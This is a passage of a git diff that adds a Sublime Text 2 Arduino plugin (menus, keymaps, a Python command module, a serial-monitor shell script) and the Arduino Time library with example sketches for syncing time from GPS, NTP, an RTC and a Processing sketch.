+ \b(HIGH|LOW|INPUT|OUTPUT|DEC|BIN|HEX|OCT|BYTE|PI|HALF_PI|TWO_PI|LSBFIRST|MSBFIRST|CHANGE|FALLING|RISING|DEFAULT|EXTERNAL|INTERNAL|INTERNAL1V1|INTERNAL2V56|null)\b + name + constant.c++.arduino + + + match + \b(boolean|byte|word)\b + name + storage.c++.arduino + + + match + \b(abs|acos|asin|atan|atan2|ceil|constrain|cos|degrees|exp|floor|log|map|max|min|radians|random|randomSeed|round|sin|sq|sqrt|tan|bitRead|bitWrite|bitSet|bitClear|bit|highByte|lowByte|analogReference|analogRead|analogWrite|attachInterrupt|detachInterrupt|delay|delayMicroseconds|digitalWrite|digitalRead|interrupts|millis|micros|noInterrupts|noTone|pinMode|pulseIn|shiftOut|tone|begin|end|read|print|println|available|flush|setup|loop)\b + name + support.function.c++.arduino + + + match + \b(Serial\d?)\b + name + support.class.c++.arduino + + + match + \b(private|protected|public) + name + storage.modifier.c++.arduino + + + scopeName + source.c++.arduino + uuid + 65E5AFAE-4AE7-4DAE-837B-1B99810E464C + + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands new file mode 100755 index 0000000..790907e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands @@ -0,0 +1,26 @@ +[ + { + "caption": "New sketch", + "command": "new_sketch" + }, + { + "caption": "Open Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "caption": "Compile Arduino sketch", + "command": "compile" + }, + { + "caption": "Upload Arduino sketch", + "command": "upload" + }, + { + "caption": "Compile and Upload Arduino sketch", + "command": "compile_upload" + }, + { + "caption": "Clean Arduino sketch", + "command": "clean" + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap new file mode 100755 index 0000000..6a1c466 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap @@ -0,0 +1,5 @@ +[ + { "keys": ["super+ctrl+shift+b"], "command": "compile" }, + { "keys": ["super+ctrl+shift+u"], "command": "upload"}, + { "keys": ["super+ctrl+shift+c"], "command": "clean"} +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE new file mode 100755 index 0000000..3cd9c55 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 Robby Colvin + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu new file mode 100755 index 0000000..ea20580 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu @@ -0,0 +1,106 @@ +[ + { + "caption": "Tools", + "mnemonic": "t", + "id": "tools", + "children": [ + { + "id": "arduinomenu", + "caption": "Arduino", + "children": [ + { + "id": "arduinocompile", + "caption": "Compile Sketch", + "command": "compile" + }, + { + "id": "arduinoupload", + "caption": "Upload Sketch", + "command": "upload" + }, + { + "id": "arduinoclean", + "caption": "Clean Sketch", + "command": "clean" + }, + // { + // "id": "arduinomonitor", + // "caption": "Monitor USB Port", + // "command": "watch_serial_port" + // }, + { + "id": "arduinolocalhelp", + "caption": "Local Help for Keyword", + "command": "local_help" + }, + { + "id": "arduinonewsketchmenu", + "caption": "New Sketch", + "command": "new_sketch" + }, + { + "id": "arduinoopen", + "caption": "Open", + "children": [ + { + "id": "arduinodirectory", + "caption": "Arduino Directory", + "command": "open_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "id": "arduinoexamples", + "caption": "Arduino Examples", + "command": "open_arduino_examples" + }, + { + "id": "arduinouserdirectory", + "caption": "User Arduino Directory", + "command": "open_user_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "User Arduino Libraries", + "command": "open_user_arduino_libraries" + } + ] + } + ] + } + ] + }, + { + "caption": "Preferences", + "mnemonic": "n", + "id": "preferences", + "children":[{ + "caption": "Package Settings", + "mnemonic": "P", + "id": "package-settings", + "children":[{ + "caption": "Arduino", + "children": [{ + "command": "open_file", + "args": { + "file": "${packages}/Arduino/Arduino.sublime-settings" + }, + "caption": "Settings – Default" + }, + { + "command": "open_file", + "args": { + "file": "${packages}/User/Arduino.sublime-settings" + }, + "caption": "Settings – User" + }, + { + "caption": "-" + }] + }] + }] + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/README.md b/Projects/libraries/Installed_libs/ST2_Arduino/README.md new file mode 100755 index 0000000..38100ab --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/README.md @@ -0,0 +1,38 @@ +# ST2 Arduino + +Sublime Text 2 plugin for Arduino. + +## Notes + +Currently, this plugin is only tested and optimized (read works) for OS X. I don't have access to Windows or Linux, so feel free to fork and add that functionality. + +## Prerequisites + +Dealing with a Makefile on my own was proving too cumbersome, so I've now opted to use the `ino` tool instead. + +The best way to install ino is to build from source: + +```bash +git clone git://github.com/amperka/ino.git && cd ino +make install +``` + +However you install ino, make sure that its location is available in your $PATH so this plugin can find it. + +Please visit [ino's website](http://inotool.org/) for more information. + +## Installation + +Download and extract to Sublime Text 2 Packages folder + +1. Download a [zipball](https://github.com/geetarista/ST2-Arduino/zipball/master) or [tarball](https://github.com/geetarista/ST2-Arduino/tarball/master) +2. Extract the plugin +3. Copy it to your packages directory: + * Mac OS X: ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/ + * Linux: ~/.config/sublime-text-2/Packages + * Windows: %APPDATA%\Sublime Text 2\Packages +4. Rename to Arduino. + +## License + +MIT. See `LICENSE`. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet new file mode 100755 index 0000000..0c68ea8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet @@ -0,0 +1,9 @@ + + + loop + source.c++.arduino + Arduino loop + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet new file mode 100755 index 0000000..f7f884a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet @@ -0,0 +1,9 @@ + + + setup + source.c++.arduino + Arduino setup + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor new file mode 100755 index 0000000..2561708 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor @@ -0,0 +1,44 @@ +#!/bin/bash +echo "executing monitor script" +set -- /dev/*usb* +# make sure there's a usb port +echo "$1" +if [ -r "$1" ]; then + + # get the list of USB ports + dev_list=(`ls /dev/*usb*`) + + # echo them out with their index + counter=0 + for filename in "${dev_list[@]}"; do + echo "${counter}. ${filename:5}" + counter=`expr $counter + 1` + done + + # ask the user which port they'd like to monitor + echo "Which port would you like to monitor? [enter digit then enter, defaults to zero]:" + read dev_port + + # if they didn't supply one, just use zero + if [ -n dev_port ]; then + dev_port=0 + fi + + # ask them what baud they'd like to use + echo "Enter the baud rate [defaults to 9600]:" + read dev_baud + + # if they didn't supply one, just use 9600 + if [ -n dev_baud ]; then + dev_baud=9600 + fi + + # give them a heads up + echo "Monitoring ${dev_list[$dev_port]:5} on ${dev_baud}" + + # start monitoring + screen ${dev_list[$dev_port]} ${dev_baud} + +else + echo "No USB ports found" +fi diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py new file mode 100755 index 0000000..9c5d22c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py @@ -0,0 +1 @@ +from arduino import * diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py new file mode 100755 index 0000000..610a2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py @@ -0,0 +1,140 @@ +import sublime +import sublime_plugin + +import os +import thread +import subprocess +import sys +# import re + +PLUGIN_DIRECTORY = os.getcwd().replace(os.path.normpath(os.path.join(os.getcwd(), '..', '..')) + os.path.sep, '').replace(os.path.sep, '/') +PLUGIN_PATH = os.getcwd().replace(os.path.join(os.getcwd(), '..', '..') + os.path.sep, '').replace(os.path.sep, '/') +RESULT_VIEW_NAME = 'monitor_result_view' + +PACKAGES_DIR = sublime.packages_path() +ARDUINO_DIR = '/Applications/Arduino.app/Contents/Resources/Java' +REFERENCE_DIR = '%s/reference' % ARDUINO_DIR +KEYWORDS_FILE = '%s/lib/keywords.txt' % ARDUINO_DIR +CSS_FILE = "%s/arduinoUno.css" % REFERENCE_DIR +USER_DIR = '${HOME}/Documents/Arduino/' + +def plugin_file(name): + return os.path.join(PLUGIN_PATH, name) + +class CompileCommand(sublime_plugin.WindowCommand): + """ Compile the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class UploadCommand(sublime_plugin.WindowCommand): + """ Upload the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CompileUploadCommand(sublime_plugin.WindowCommand): + """ Upload and compile the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CleanCommand(sublime_plugin.WindowCommand): + """ Clean the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Clean.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class NewSketchCommand(sublime_plugin.WindowCommand): + """ Create new sketch file from template """ + def run(self): + template = open(plugin_file('sketch_template'), 'r').read() + file = self.window.new_file() + edit = file.begin_edit() + file.insert(edit, 0, template) + file.end_edit(edit) + +class OpenArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open Arduino's application directory """ + def run(self): + if sys.platform == 'darwin': + path = ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's built-in libraries """ + def run(self): + if sys.platform == 'darwin': + path = '%s/libraries' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoExamplesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's example sketches directory """ + def run(self): + if sys.platform == 'darwin': + path = '%s/examples' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open user's arduino directory """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino' + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open user's library files """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino/libraries' + subprocess.check_call(['open', '--', path]) + +# class WatchSerialPortCommand(sublime_plugin.WindowCommand): +# """ Watch serial port for activity """ +# def run(self): +# script = plugin_file('Support/Monitor') +# subprocess.call([script], shell=True) + +class LocalHelpCommand(sublime_plugin.TextCommand): + """ Open Arduino help for currently selected word """ + def run(self, edit): + loop = 'loop' + sel = self.view.sel()[0] + if not sel.empty(): + word = self.view.substr(sel) + else: + word = "" + + lines = [line.split() for line in open(KEYWORDS_FILE)] + keywords = [l for l in lines if ((len(l) >= 2) or (l and l[0] != "#"))] + for kw in keywords: + if word == kw[0]: + html_file = '%s/%s.html' % (REFERENCE_DIR, kw[-1]) + + if 'html_file' in locals(): + try: + subprocess.check_call(['open', html_file]) + # Will add this if sublime ever gets formatted output window + # html = open(html_file).read() + # css = open(CSS_FILE).read() + """ + # #wikitext p:first-child, + # #pageheader, + # #pagenav, + # #pagefooter { + # display: none; + # } + # #page { + # width: 100%; + # } + # """ + # html = re.sub('', "", html, re.S|re.I) + except Exception, e: + print "failed to open html" + else: + print 'No documentation found for "%s"' % word diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages.json b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json new file mode 100755 index 0000000..d51417a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json @@ -0,0 +1,4 @@ +{ + "install": "messages/install.txt", + "1.0.0": "messages/1.0.0.txt" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt new file mode 100755 index 0000000..6a56e0e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt @@ -0,0 +1,4 @@ +Version 1.0.0 +------------- + +This is the first version of the plugin. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt new file mode 100755 index 0000000..3cd6ce5 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt @@ -0,0 +1,4 @@ +Arduino Sublime Text 2 Package +============================== + +Easily integrate with your Arduino. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template new file mode 100755 index 0000000..55cc61a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template @@ -0,0 +1,13 @@ +/* + New sketch +*/ + +void setup () +{ + // setup +} + +void loop() +{ + // loop +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino new file mode 100755 index 0000000..94cc3c8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino @@ -0,0 +1,7 @@ +/* + This is a dummy file to test the compile command. +*/ + +void setup () {} + +void loop() {} diff --git a/Projects/libraries/Installed_libs/Time/DateStrings.cpp b/Projects/libraries/Installed_libs/Time/DateStrings.cpp new file mode 100755 index 0000000..7610c8f --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/DateStrings.cpp @@ -0,0 +1,80 @@ +/* DateStrings.cpp + * Definitions for date strings for use with the Time library + * + * No memory is consumed in the sketch if your code does not call any of the string methods + * You can change the text of the strings, make sure the short strings are each exactly 3 characters + * the long strings can be any length up to the constant dt_MAX_STRING_LEN defined in Time.h + * + */ + +#include +#include "Time.h" + +// the short strings for each day or month must be exactly dt_SHORT_STR_LEN +#define dt_SHORT_STR_LEN 3 // the length of short strings + +static char buffer[dt_MAX_STRING_LEN+1]; // must be big enough for longest string and the terminating null + +char monthStr1[] PROGMEM = "January"; +char monthStr2[] PROGMEM = "February"; +char monthStr3[] PROGMEM = "March"; +char monthStr4[] PROGMEM = "April"; +char monthStr5[] PROGMEM = "May"; +char monthStr6[] PROGMEM = "June"; +char monthStr7[] PROGMEM = "July"; +char monthStr8[] PROGMEM = "August"; +char monthStr9[] PROGMEM = "September"; +char monthStr10[] PROGMEM = "October"; +char monthStr11[] PROGMEM = "November"; +char monthStr12[] PROGMEM = "December"; + +PGM_P monthNames_P[] PROGMEM = +{ + "",monthStr1,monthStr2,monthStr3,monthStr4,monthStr5,monthStr6, + monthStr7,monthStr8,monthStr9,monthStr10,monthStr11,monthStr12 +}; + +char monthShortNames_P[] PROGMEM = "ErrJanFebMarAprMayJunJulAugSepOctNovDec"; + +char dayStr0[] PROGMEM = "Err"; +char dayStr1[] PROGMEM = "Sunday"; +char dayStr2[] PROGMEM = "Monday"; +char dayStr3[] PROGMEM = "Tuesday"; +char dayStr4[] PROGMEM = "Wednesday"; +char dayStr5[] PROGMEM = "Thursday"; +char dayStr6[] PROGMEM = "Friday"; +char dayStr7[] PROGMEM = "Saturday"; + +PGM_P dayNames_P[] PROGMEM = { dayStr0,dayStr1,dayStr2,dayStr3,dayStr4,dayStr5,dayStr6,dayStr7}; +char dayShortNames_P[] PROGMEM = "ErrSunMonTueWedThrFriSat"; + +/* functions to return date strings */ + +char* monthStr(uint8_t month) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(monthNames_P[month]))); + return buffer; +} + +char* monthShortStr(uint8_t month) +{ + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(monthShortNames_P[i+ (month*dt_SHORT_STR_LEN)])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} + +char* dayStr(uint8_t day) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(dayNames_P[day]))); + return buffer; +} + +char* dayShortStr(uint8_t day) +{ + uint8_t index = day*dt_SHORT_STR_LEN; + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(dayShortNames_P[index + i])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde new file mode 100755 index 0000000..4c74d4b --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde @@ -0,0 +1,70 @@ +/** + * SyncArduinoClock. + * + * portIndex must be set to the port connected to the Arduino + * + * The current time is sent in response to request message from Arduino + * or by clicking the display window + * + * The time message is 11 ASCII text characters; a header (the letter 'T') + * followed by the ten digit system time (unix time) + */ + + +import processing.serial.*; + +public static final short portIndex = 1; // select the com port, 0 is the first port +public static final char TIME_HEADER = 'T'; //header byte for arduino serial time message +public static final char TIME_REQUEST = 7; // ASCII bell character +public static final char LF = 10; // ASCII linefeed +public static final char CR = 13; // ASCII linefeed +Serial myPort; // Create object from Serial class + +void setup() { + size(200, 200); + println(Serial.list()); + println(" Connecting to -> " + Serial.list()[portIndex]); + myPort = new Serial(this,Serial.list()[portIndex], 9600); +} + +void draw() +{ + if ( myPort.available() > 0) { // If data is available, + char val = char(myPort.read()); // read it and store it in val + if(val == TIME_REQUEST){ + long t = getTimeNow(); + sendTimeMessage(TIME_HEADER, t); + } + else + { + if(val == LF) + ; //igonore + else if(val == CR) + println(); + else + print(val); // echo everying but time request + } + } +} + +void mousePressed() { + sendTimeMessage( TIME_HEADER, getTimeNow()); +} + + +void sendTimeMessage(char header, long time) { + String timeStr = String.valueOf(time); + myPort.write(header); // send header and time to arduino + myPort.write(timeStr); +} + +long getTimeNow(){ + // java time is in ms, we want secs + GregorianCalendar cal = new GregorianCalendar(); + cal.setTime(new Date()); + int tzo = cal.get(Calendar.ZONE_OFFSET); + int dst = cal.get(Calendar.DST_OFFSET); + long now = (cal.getTimeInMillis() / 1000) ; + now = now + (tzo/1000) + (dst/1000); + return now; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt new file mode 100755 index 0000000..985bd80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt @@ -0,0 +1,9 @@ +SyncArduinoClock is a Processing sketch that responds to Arduino requests for +time synchronization messages. + +The portIndex must be set the Serial port connected to Arduino. + +Download TimeSerial.pde onto Arduino and you should see the time +message displayed when you run SyncArduinoClock in Processing. +The Arduino time is set from the time on your computer through the +Processing sketch. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde new file mode 100755 index 0000000..1c7b25e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde @@ -0,0 +1,82 @@ +/* + * TimeGPS.pde + * example code illustrating time synced from a GPS + * + */ + +#include +#include //http://arduiniana.org/libraries/TinyGPS/ +#include //http://arduiniana.org/libraries/newsoftserial/ +// GPS and NewSoftSerial libraries are the work of Mikal Hart + +TinyGPS gps; +NewSoftSerial serial_gps = NewSoftSerial(3, 2); // receive on pin 3 + +const int offset = 1; // offset hours from gps time (UTC) +time_t prevDisplay = 0; // when the digital clock was displayed + +void setup() +{ + Serial.begin(9600); + serial_gps.begin(4800); + Serial.println("Waiting for GPS time ... "); + setSyncProvider(gpsTimeSync); +} + +void loop() +{ + while (serial_gps.available()) + { + gps.encode(serial_gps.read()); // process gps messages + } + if(timeStatus()!= timeNotSet) + { + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +time_t gpsTimeSync(){ + // returns time if avail from gps, else returns 0 + unsigned long fix_age = 0 ; + gps.get_datetime(NULL,NULL, &fix_age); + unsigned long time_since_last_fix; + if(fix_age < 1000) + return gpsTimeToArduinoTime(); // return time only if updated recently by gps + return 0; +} + +time_t gpsTimeToArduinoTime(){ + // returns time_t from gps date and time with the given offset hours + tmElements_t tm; + int year; + gps.crack_datetime(&year, &tm.Month, &tm.Day, &tm.Hour, &tm.Minute, &tm.Second, NULL, NULL); + tm.Year = year - 1970; + time_t time = makeTime(tm); + return time + (offset * SECS_PER_HOUR); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde new file mode 100755 index 0000000..11927c6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde @@ -0,0 +1,120 @@ +/* + * Time_NTP.pde + * Example showing time sync to NTP time source + * + * This sketch uses the Ethenet library with the user contributed UdpBytewise extension + */ + +#include +#include +#include // UDP library from: bjoern@cs.stanford.edu 12/30/2008 +#if UDP_TX_PACKET_MAX_SIZE <64 || UDP_RX_PACKET_MAX_SIZE < 64 +#error : UDP packet size to small - modify UdpBytewise.h to set buffers to 64 bytes +#endif +/* + * + * You may need to modify the UdpBytewise.h library to allow enough space in the buffers for the NTP packets. + * Open up UdpBytewse.h and set the following buffers to 64 bytes: + * #define UDP_TX_PACKET_MAX_SIZE 64 + * #define UDP_RX_PACKET_MAX_SIZE 64 + */ + + +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; +byte ip[] = { 192, 168, 1, 44 }; // set the IP address to an unused address on your network + +byte SNTP_server_IP[] = { 192, 43, 244, 18}; // time.nist.gov +//byte SNTP_server_IP[] = { 130,149,17,21}; // ntps1-0.cs.tu-berlin.de +//byte SNTP_server_IP[] = { 192,53,103,108}; // ptbtime1.ptb.de + + +time_t prevDisplay = 0; // when the digital clock was displayed +const long timeZoneOffset = 0L; // set this to the offset in seconds to your local time; + +void setup() +{ + Serial.begin(9600); + Ethernet.begin(mac,ip); + Serial.println("waiting for sync"); + setSyncProvider(getNtpTime); + while(timeStatus()== timeNotSet) + ; // wait until the time is set by the sync provider +} + +void loop() +{ + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/*-------- NTP code ----------*/ + +unsigned long getNtpTime() +{ + sendNTPpacket(SNTP_server_IP); + delay(1000); + if ( UdpBytewise.available() ) { + for(int i=0; i < 40; i++) + UdpBytewise.read(); // ignore every field except the time + const unsigned long seventy_years = 2208988800UL + timeZoneOffset; + return getUlong() - seventy_years; + } + return 0; // return 0 if unable to get the time +} + +unsigned long sendNTPpacket(byte *address) +{ + UdpBytewise.begin(123); + UdpBytewise.beginPacket(address, 123); + UdpBytewise.write(B11100011); // LI, Version, Mode + UdpBytewise.write(0); // Stratum + UdpBytewise.write(6); // Polling Interval + UdpBytewise.write(0xEC); // Peer Clock Precision + write_n(0, 8); // Root Delay & Root Dispersion + UdpBytewise.write(49); + UdpBytewise.write(0x4E); + UdpBytewise.write(49); + UdpBytewise.write(52); + write_n(0, 32); //Reference and time stamps + UdpBytewise.endPacket(); +} + +unsigned long getUlong() +{ + unsigned long ulong = (unsigned long)UdpBytewise.read() << 24; + ulong |= (unsigned long)UdpBytewise.read() << 16; + ulong |= (unsigned long)UdpBytewise.read() << 8; + ulong |= (unsigned long)UdpBytewise.read(); + return ulong; +} + +void write_n(int what, int how_many) +{ + for( int i = 0; i < how_many; i++ ) + UdpBytewise.write(what); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde new file mode 100755 index 0000000..1a1ed80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde @@ -0,0 +1,47 @@ +/* + * TimeRTC.pde + * example code illustrating Time library with Real Time Clock. + * + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde new file mode 100755 index 0000000..76ed17d --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde @@ -0,0 +1,106 @@ +/* + * TimeRTCLogger.pde + * example code illustrating adding and subtracting Time. + * + * this sketch logs pin state change events + * the time of the event and time since the previous event is calculated and sent to the serial port. + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +const int nbrInputPins = 6; // monitor 6 digital pins +const int inputPins[nbrInputPins] = {2,3,4,5,6,7}; // pins to monitor +boolean state[nbrInputPins] ; // the state of the monitored pins +time_t prevEventTime[nbrInputPins] ; // the time of the previous event + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to sync the time from the RTC + for(int i=0; i < nbrInputPins; i++){ + pinMode( inputPins[i], INPUT); + // digitalWrite( inputPins[i], HIGH); // uncomment these lines if + // state[i] = HIGH; // pull-up resistors are wanted + } +} + +void loop() +{ + for(int i=0; i < nbrInputPins; i++) + { + boolean val = digitalRead(inputPins[i]); + if(val != state[i]) + { + time_t duration = 0; // the time since the previous event + state[i] = val; + time_t timeNow = now(); + if(prevEventTime[i] > 0) + // if this was not the first state change, calculate the time from the previous change + duration = duration = timeNow - prevEventTime[i]; + logEvent(inputPins[i], val, timeNow, duration ); // log the event + prevEventTime[i] = timeNow; // store the time for this event + } + } +} + +void logEvent( int pin, boolean state, time_t timeNow, time_t duration) +{ + Serial.print("Pin "); + Serial.print(pin); + if( state == HIGH) + Serial.print(" went High at "); + else + Serial.print(" went Low at "); + showTime(timeNow); + if(duration > 0){ + // only display duration if greater than 0 + Serial.print(", Duration was "); + showDuration(duration); + } + Serial.println(); +} + + +void showTime(time_t t){ + // display the given time + Serial.print(hour(t)); + printDigits(minute(t)); + printDigits(second(t)); + Serial.print(" "); + Serial.print(day(t)); + Serial.print(" "); + Serial.print(month(t)); + Serial.print(" "); + Serial.print(year(t)); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void showDuration(time_t 